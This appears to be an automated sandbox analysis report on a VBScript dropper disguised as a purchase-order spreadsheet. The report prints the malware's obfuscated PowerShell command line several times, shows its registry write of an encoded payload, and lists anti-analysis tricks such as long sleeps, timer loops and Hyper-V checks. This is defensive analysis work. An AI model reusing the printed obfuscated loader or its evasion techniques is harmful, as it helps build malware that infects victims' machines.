Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: Binary string: ek8C:\Users\user\AppData\Local\Temp\ksa1shoc\ksa1shoc.pdb source: powershell.exe, 00000003.00000002.848043775.0000000004E2A000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation
barindex
VBScript performs obfuscated calls to suspicious functions
Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: WScript.Shell");IWshShell3.Exec("CMD.EXE /c echo %windir%");IHost.CreateObject("WScript.Shell");IWshShell3.Exec("CMD.EXE /c echo %windir%");IWshExec.StdOut();ITextStream.ReadLine();IWshShell3.RegWrite("HKEY_CURRENT_USER\Treetise\Fejltolkningens160\Helaftensfilmens", "cQGbcQGbuk1LEn5xAZvrAqcvgfJYOfUa6wLu1+sCofeBwitXGpvrAprL6wJhUesCrspxAZvr", "REG_SZ");IFileSystem3.FileExists("C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe");IShellDispatch6.ShellExecute("C:\Windows\syswow64\WindowsPowerShell\v", " "$Saudiarabiske = """KoAEldMedPo-CeTph", "", "", "0")
Obfuscated command line found
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Saudiarabiske = """KoAEldMedPo-CeTphySupLnePh Eg-FrTFoyCepspeGrDTeefafSaiRenSpiPltSeiUfoSlnRa Je'DruBlsLiiMinIngAx AjSmoyTesZatIneNemUg;SpuLesUniSonUngMu TrSPoyelsIntHaeKomTr.SvRKiuHenHatEgiSimKaeSh.MoICanPitOxeterStoFepTeSAreEfrSkvFoishcGaeBesFo;FopKouBabSelStihocLv MasAftTraRutSeiBecad MecVelSaaXysAusBr OsTSehLiwBuaKorHutAbnBeeBesBusUn1Ce Sa{Tr[MaDAnlOmlSpIVemArpSuoSerUttFr(St`"""PeAUnDOoVEdAStPunIFo3Nd2La.cuDGeLruLCi`"""Cl)Bl]BrpasuVibBolIsiudcWa UnsBetSuaImtAfiFucBi HaeSlxTotboeTjrSunKt reiVinSotTu SpGReeAftUdSoveLarUdvCoiVacTieSkKSteSayCiNInaWempreTa(NoiNongrtCo OmNAnoTayMoiCasPllMa,GriApnIntAl AlSSelLagSptSm6Pe9Fo,BiiUrnBetPi KrAIsfFifLiainlPo,maiBenMotTr AsbTeaGagLaaNy)Ma;Sc[SoDChlDelNgIGomMiptioVarkutPa(Sa`"""SkgWhdBoiSe3Vi2Pe`"""Sn)Ka]BepKruRabKllIbiFecSl FosBetAdaArtGriHvcEm DreHaxSatSeeAsrBrnDa AaiafnLotOv BeGNaeSotHjCamlRgiBupSaRmagConRe(SkiBanRatHe KoMEkuTalLa,StiaunCetEt TrGMagpyeUngAnuFi)Wo;Ub[UbDCalExlStIRomCipReoCarDytTr(Se`"""cakDieSarSenPleMalbi3Tr2si`"""Tr)Be]JopBruYabSolAuiLacDi DisLjtSkaEmtTuiOvcBe AterexSttDreAtrFonWe FlIUnnpatTaPsttVerAr SaEpinLsuMemUnSHayAbsDotaseTumSpLDroAdcVoaSllSteDksBaWSa(RauSviOpnAltko MevPe1du,MoiUnnHeter PlvSn2Ta)Du;He[CaDFolGylRaIEcmArpAnoBrrQutFe(Li`"""SykBaeskravnKaeMilSk3Mo2de`"""Di)Fa]PrpCouBebAnlAfiHycUn AlsHjtHyaDrtMiiUncPi CeeStxKytKaeAlrKonac ariBlnCatse HuGSilPsoSebEfaPllEmDMaeSalHeeSatBreprASmtGuoFimUn(PuiAenFotDr TePTrrtleDe1To5Sa1Co)Sk;ha[BaDEvlEulTrIDemHopSaoFarNotTr(Ca`"""AkgPidPliFi3Sc2Re`"""Aa)Da]SapEkuApbTalReiHacPr NosoptSraSktStiSqcAk EneAaxSptFoeTarDenSp AriSenOvtBe FlSFotEnrunoAekSheBoABlnTadPaFGeiSolAnlblPOsaAvtunhPr(DiiDdnArtKl AcEKrtLuhWiyUnlHj8Bl7Du)Bi;Qu[NoDKrlUnlEkIApmEmpSyoinrGltCy(Sa`"""seuMosPeeafrPa3Bl2In`"""Ko)Un]JrpdiuRebSklNoiSncSc SpsFutstaSetFaiklcMe UeeDexUdtCoeUnrJanSt iniNonFltRh GrCInlSkoInsBiePyCDalSuiMopEtbEnoTaaTarBedPa(Ku)Un;Yn[ChDAglLrlOtICamCopSaoGhrmatBa(Sp`"""PawTriArnResGapDeoAnoSplTi.BrdExrObvSp`"""Un)Dr]OppHeuInbUnlCeiCocSt UnsSetCeaFotDiistcMe StePaxwatlaeBrrRenOv PaiStnCotRu PlSEncLuhTeeNodTrutalDaedrJMaoPrbTr(BeitynOltkl KnUFanAfoKovCoeStrEl2Br2Kl6Re,IniNonRetKo PiaMikWetStiWa)Mu;Dd[AfDUnlSllspIVomRepNooTrrChtOl(Cy`"""GeAAnDPrVEgALiPSeIFo3Sp2Re.RyDOvLAjLRe`"""Do)St]TypNauRabMelPoilocBu PlsFitMiapatSciPecTa DieStxBotDreHurmenAl MliFanBltCi TrQMouFaeErrAryVoSHaeKorKrvTsiLecKueFaCudoAfnPrfliiSugHe(MuiFonpitHo prRTheEngoflEseatrFi,LiiInnGrtFu opCEnogasAc0Ti,BaiMinSttSh GrDDriSpsDepreoOvsSu,CoiRinTatIn NoNPeaRupUnhLeoEr2Ho7No)Mo;Un[InDHalaflUvIAfmCoppaosprUntTo(Co`"""IrwaliSknMisOvpPeoNooAalRe.SldMorKlvFo`"""St)Se]CopFouCrbBilOpiSkcSk KasOvtBlaantFriOmcMa UneSuxEntTreLyrDenBe VeiFonRitCa haDCioUncGruRemDreMunWetSePFirSloLipPaeVkrPutIniTeeEnsVe(BoiAanLitWo WiFUvoTarBesat,FoiVenNitsa GrLSuaNonUsgSorBeeSi,FoiYunMitOu StSObkRerHeisevTv,FriGanTetTo BuhGheKamEx,waiAlnAntAn MeSSeaRhmErbDuaGrfTu,SeiSlnuntEx MoRReesitSpiau)Fr;Dr[WhDamlRelku
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Saudiarabiske = """KoAEldMedPo-CeTphySupLnePh Eg-FrTFoyCepspeGrDTeefafSaiRenSpiPltSeiUfoSlnRa Je'DruBlsLiiMinIngAx AjSmoyTesZatIneNemUg;SpuLesUniSonUngMu TrSPoyelsIntHaeKomTr.SvRKiuHenHatEgiSimKaeSh.MoICanPitOxeterStoFepTeSAreEfrSkvFoishcGaeBesFo;FopKouBabSelStihocLv MasAftTraRutSeiBecad MecVelSaaXysAusBr OsTSehLiwBuaKorHutAbnBeeBesBusUn1Ce Sa{Tr[MaDAnlOmlSpIVemArpSuoSerUttFr(St`"""PeAUnDOoVEdAStPunIFo3Nd2La.cuDGeLruLCi`"""Cl)Bl]BrpasuVibBolIsiudcWa UnsBetSuaImtAfiFucBi HaeSlxTotboeTjrSunKt reiVinSotTu SpGReeAftUdSoveLarUdvCoiVacTieSkKSteSayCiNInaWempreTa(NoiNongrtCo OmNAnoTayMoiCasPllMa,GriApnIntAl AlSSelLagSptSm6Pe9Fo,BiiUrnBetPi KrAIsfFifLiainlPo,maiBenMotTr AsbTeaGagLaaNy)Ma;Sc[SoDChlDelNgIGomMiptioVarkutPa(Sa`"""SkgWhdBoiSe3Vi2Pe`"""Sn)Ka]BepKruRabKllIbiFecSl FosBetAdaArtGriHvcEm DreHaxSatSeeAsrBrnDa AaiafnLotOv BeGNaeSotHjCamlRgiBupSaRmagConRe(SkiBanRatHe KoMEkuTalLa,StiaunCetEt TrGMagpyeUngAnuFi)Wo;Ub[UbDCalExlStIRomCipReoCarDytTr(Se`"""cakDieSarSenPleMalbi3Tr2si`"""Tr)Be]JopBruYabSolAuiLacDi DisLjtSkaEmtTuiOvcBe AterexSttDreAtrFonWe FlIUnnpatTaPsttVerAr SaEpinLsuMemUnSHayAbsDotaseTumSpLDroAdcVoaSllSteDksBaWSa(RauSviOpnAltko MevPe1du,MoiUnnHeter PlvSn2Ta)Du;He[CaDFolGylRaIEcmArpAnoBrrQutFe(Li`"""SykBaeskravnKaeMilSk3Mo2de`"""Di)Fa]PrpCouBebAnlAfiHycUn AlsHjtHyaDrtMiiUncPi CeeStxKytKaeAlrKonac ariBlnCatse HuGSilPsoSebEfaPllEmDMaeSalHeeSatBreprASmtGuoFimUn(PuiAenFotDr TePTrrtleDe1To5Sa1Co)Sk;ha[BaDEvlEulTrIDemHopSaoFarNotTr(Ca`"""AkgPidPliFi3Sc2Re`"""Aa)Da]SapEkuApbTalReiHacPr NosoptSraSktStiSqcAk EneAaxSptFoeTarDenSp AriSenOvtBe FlSFotEnrunoAekSheBoABlnTadPaFGeiSolAnlblPOsaAvtunhPr(DiiDdnArtKl AcEKrtLuhWiyUnlHj8Bl7Du)Bi;Qu[NoDKrlUnlEkIApmEmpSyoinrGltCy(Sa`"""seuMosPeeafrPa3Bl2In`"""Ko)Un]JrpdiuRebSklNoiSncSc SpsFutstaSetFaiklcMe UeeDexUdtCoeUnrJanSt iniNonFltRh GrCInlSkoInsBiePyCDalSuiMopEtbEnoTaaTarBedPa(Ku)Un;Yn[ChDAglLrlOtICamCopSaoGhrmatBa(Sp`"""PawTriArnResGapDeoAnoSplTi.BrdExrObvSp`"""Un)Dr]OppHeuInbUnlCeiCocSt UnsSetCeaFotDiistcMe StePaxwatlaeBrrRenOv PaiStnCotRu PlSEncLuhTeeNodTrutalDaedrJMaoPrbTr(BeitynOltkl KnUFanAfoKovCoeStrEl2Br2Kl6Re,IniNonRetKo PiaMikWetStiWa)Mu;Dd[AfDUnlSllspIVomRepNooTrrChtOl(Cy`"""GeAAnDPrVEgALiPSeIFo3Sp2Re.RyDOvLAjLRe`"""Do)St]TypNauRabMelPoilocBu PlsFitMiapatSciPecTa DieStxBotDreHurmenAl MliFanBltCi TrQMouFaeErrAryVoSHaeKorKrvTsiLecKueFaCudoAfnPrfliiSugHe(MuiFonpitHo prRTheEngoflEseatrFi,LiiInnGrtFu opCEnogasAc0Ti,BaiMinSttSh GrDDriSpsDepreoOvsSu,CoiRinTatIn NoNPeaRupUnhLeoEr2Ho7No)Mo;Un[InDHalaflUvIAfmCoppaosprUntTo(Co`"""IrwaliSknMisOvpPeoNooAalRe.SldMorKlvFo`"""St)Se]CopFouCrbBilOpiSkcSk KasOvtBlaantFriOmcMa UneSuxEntTreLyrDenBe VeiFonRitCa haDCioUncGruRemDreMunWetSePFirSloLipPaeVkrPutIniTeeEnsVe(BoiAanLitWo WiFUvoTarBesat,FoiVenNitsa GrLSuaNonUsgSorBeeSi,FoiYunMitOu StSObkRerHeisevTv,FriGanTetTo BuhGheKamEx,waiAlnAntAn MeSSeaRhmErbDuaGrfTu,SeiSlnuntEx MoRReesitSpiau)Fr;Dr[WhDamlRelku Jump to behavior
Compiles C# or VB.Net code
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ksa1shoc\ksa1shoc.cmdline
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ksa1shoc\ksa1shoc.cmdline Jump to behavior
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\ksa1shoc\ksa1shoc.dll Jump to dropped file
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Potential evasive VBS script found (use of timer() function in loop)
Source: Initial file Initial file: do while timer-temp<sec
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 8552 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4424 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ksa1shoc\ksa1shoc.dll Jump to dropped file
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: powershell.exe, 00000003.00000002.848528611.0000000004E65000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V
Source: powershell.exe, 00000003.00000002.848528611.0000000004E65000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.840675760.0000000004931000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: ek:C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Hyper-V
Source: PO-09784893 xlsx.vbs Binary or memory string: Vi5 = Vi5 & "PfHgv1gZ0V47ceC/XXOMbhGfSDCj6sDBrf5"
Source: wscript.exe, 00000000.00000003.310056094.0000023F74611000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.311867684.0000023F74614000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: $gv2vrlqbBKC7P5QEMU7i3QMPR0oRCnNDQXznLUTAHANDLEX?lt?
Source: wscript.exe, 00000000.00000003.309917173.0000023F746D5000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: #PfHgv1gZ0V47ceC/XXOMbhGfSDCj6sDBrf51i
Source: PO-09784893 xlsx.vbs Binary or memory string: Vi5 = Vi5 & "gv2vrlqbBKC7P5QEMU7i3QMPR0oRCnNDQXzn"
Source: powershell.exe, 00000003.00000002.840675760.0000000004931000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: ek:C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Hyper-V4
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "$saudiarabiske = """koaeldmedpo-cetphysuplneph eg-frtfoycepspegrdteefafsairenspipltseiufoslnra je'drublsliiminingax ajsmoyteszatinenemug;spulesunisonungmu trspoyelsinthaekomtr.svrkiuhenhategisimkaesh.moicanpitoxeterstofeptesareefrskvfoishcgaebesfo;fopkoubabselstihoclv masafttrarutseibecad mecvelsaaxysausbr ostsehliwbuakorhutabnbeebesbusun1ce sa{tr[madanlomlspivemarpsuoseruttfr(st`"""peaundoovedastpunifo3nd2la.cudgelrulci`"""cl)bl]brpasuvibbolisiudcwa unsbetsuaimtafifucbi haeslxtotboetjrsunkt reivinsottu spgreeaftudsovelarudvcoivactieskkstesaycininawempreta(noinongrtco omnanotaymoicaspllma,griapnintal alssellagsptsm6pe9fo,biiurnbetpi kraisffifliainlpo,maibenmottr asbteagaglaany)ma;sc[sodchldelngigommiptiovarkutpa(sa`"""skgwhdboise3vi2pe`"""sn)ka]bepkrurabkllibifecsl fosbetadaartgrihvcem drehaxsatseeasrbrnda aaiafnlotov 